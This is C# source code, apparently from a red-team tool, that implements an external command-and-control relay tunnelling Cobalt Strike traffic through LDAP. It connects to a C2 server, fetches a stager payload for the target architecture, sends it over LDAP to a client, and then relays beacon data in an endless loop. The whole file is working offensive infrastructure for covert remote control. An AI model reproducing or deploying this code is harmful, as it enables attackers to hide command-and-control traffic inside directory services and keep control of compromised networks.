public static byte[] getStage(Transport.Relayer Relayer, string pipename, bool isX64)
{
var arch = isX64 ? "x64" : "x86";
Misc.WriteGood(string.Format("Requesting stager..."));
Relayer.Send(Encoding.ASCII.GetBytes("arch=" + arch));
Relayer.Send(Encoding.ASCII.GetBytes("pipename=" + pipename));
Relayer.Send(Encoding.ASCII.GetBytes("block=100"));
Relayer.Send(Encoding.ASCII.GetBytes("go"));
// Sleep a little so the TS can process the request
System.Threading.Thread.Sleep(200);
byte[] payload = Relayer.ReadFrame();
Misc.WriteGood(string.Format("Received stager ({0} KB)", payload.Length / 1024));
return(payload);
}
/// <summary>
/// Handles the logic for communicating with the client over LDAP en transporting it to our C2 server
/// </summary>
static void Server()
{
// amount of sleep between polling
int sleepInterval = 50;
// connect to external C2
Core.Transport.Relayer Relayer = new Core.Transport.Relayer(SERVER_IP, SERVER_PORT);
if (Relayer.IsConnected)
{
Misc.WriteGood(string.Format("Connected to {0}:{1}", SERVER_IP, SERVER_PORT));
}
else
{
Console.WriteLine("[-] Cannot connect to {0}:{1}", SERVER_IP, SERVER_PORT);
return;
}
// Initiate LDAP connection
Core.LDAP LDAPConnection = integratedAuth ?
new Core.LDAP(IsClient, UseLDAPS) :
new Core.LDAP(username, password, domain, IsClient, UseLDAPS);
if (!LDAPConnection.TestLDAPConnection())
{
Console.WriteLine("[-] Cannot connect to LDAP with the information provided.");
return;
}
if (!LDAPConnection.AutoDiscover())
{
return;
}
// receive stager from C2
var payload = Stage.getStage(Relayer, LDAPConnection.pipeName, LDAPConnection.isX64);
Misc.WriteGood(string.Format("Payload received. Payload size: {0}KB", payload.Length / 1024));
// Send payload over LDAP to third party client
Misc.WriteGood(string.Format("Sending payload over LDAP..."));
LDAPConnection.Send(payload);
// run indefintely
bool run = true;
bool readController = false;
do
{
// Handle LDAP connection
byte[] data = LDAPConnection.Receive();
if (data != null)
{
Misc.WriteGood(string.Format("Relaying {0} bytes from LDAP to CS", data.Length));
// Send data over LDAP to controller
Relayer.Send(data);
readController = true;
}
else
{
System.Threading.Thread.Sleep(sleepInterval);
}
// Wait for CS / LDAP
if (!readController)
{
continue;
}
// Handle CS connection
data = Relayer.ReadFrame();
if (data != null)
{
Misc.WriteGood(string.Format("Relaying {0} bytes data from CS to LDAP", data.Length));
LDAPConnection.Send(data);
readController = false;
}
else
{
System.Threading.Thread.Sleep(sleepInterval);
}
} while (run);
}